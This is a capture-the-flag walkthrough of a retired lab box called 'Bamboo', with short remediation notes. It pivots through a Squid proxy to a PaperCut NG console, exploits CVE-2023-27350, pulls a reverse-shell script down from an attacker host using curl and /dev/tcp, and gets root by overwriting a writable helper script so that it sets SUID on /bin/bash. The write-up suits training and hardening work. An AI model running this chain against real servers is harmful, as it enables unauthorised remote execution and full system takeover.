Bamboo
Summary
Scanning bamboo-med found only SSH and a Squid forward proxy exposed directly. Pivoting HTTP traffic through that proxy revealed an internal PaperCut NG 22.0.6 print-management console that was not otherwise reachable. A known authentication-bypass flaw in PaperCut's print-and-device scripting feature let me run commands as the print service account with no credentials, yielding a foothold and the user flag.
On that host, a PaperCut helper script that the service account owned — but that is invoked by the print server with elevated rights — was writable by the same low-privileged account. Replacing the script and getting the print server to re-run it granted me a root-privileged SUID bash, completing full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Full TCP port scan of the target.
$ nmap -sS -p- $TARGETExact commands 2
Reach the internal PaperCut console through the Squid proxy.
$ curl -sS --max-time 15 -x http://$TARGET:3128 http://$TARGET:9191/userExtract the product/version banner to fingerprint the exact PaperCut build.
$ curl -sS --max-time 15 -x http://$TARGET:3128 http://$TARGET:9191/user | grep -Eio 'PaperCut[^<]{0,100}|[Vv]ersion[^<]{0,80}|[Bb]uild[^<]{0,80}'FixDo not expose internal management interfaces through the forward proxyMedium
Exact commands 7
Serve the staged payload for the target to fetch.
$ python3 -m http.server 9000Confirm RCE by making the target call back to my listener, through the Squid proxy.
$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command "curl http://$ATTACKER_IP:9000"Write a reverse-shell payload to serve.
$ echo "#!/bin/bash\nsh -i >& /dev/tcp/$ATTACKER_IP/5544 0>&1" > shell.shInstruct the target to fetch the payload.
$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command "curl http://$ATTACKER_IP:9000/shell.sh -o /tmp/shell.sh"Execute the payload; catch with a listener.
$ proxychains4 python3 CVE-2023-27350.py --url "http://$TARGET:9191" --command 'bash /tmp/shell.sh'Catch the resulting reverse shell.
$ nc -lnvp 5544Confirm the foothold identity and read the user flag.
$ id; cat /home/papercut/user.txt
uid=1001(papercut) gid=1001(papercut)FixPatch PaperCut NG to a version that fixes the authentication-bypass RCECritical
Exact commands 2
Generate a key pair for the session.
$ ssh-keygen -q -t ed25519 -N '' -f /tmp/papercut_session_keyConfirm the key grants shell access as papercut.
$ ssh papercut@$TARGET id
uid=1001(papercut)Exact commands 1
Check ownership and permissions of the helper script and its directory.
$ ssh papercut@$TARGET 'ls -ld /home/papercut/server/bin/linux-x64; ls -l /home/papercut/server/bin/linux-x64/server-command; file /home/papercut/server/bin/linux-x64/server-command'FixRemove write access by the service account to its own privileged helper scriptsCritical
Exact commands 3
Back up the original script and replace it with one that sets SUID on bash.
$ ssh papercut@$TARGET 'cd /home/papercut/server/bin/linux-x64 && cp -p server-command /tmp/server-command.orig && printf "#!/bin/sh\nchmod u+s /bin/bash\n" > server-command && chmod 755 server-command'Confirm /bin/bash has become SUID-root after the service re-invoked the script.
$ ssh papercut@$TARGET 'ls -l /bin/bash'Use the SUID bash to gain an effective-root shell and read the root flag; substitute <root.txt> for the real value.
$ ssh papercut@$TARGET '/bin/bash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 3128/tcp | http-proxy Squid http proxy 5.9 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.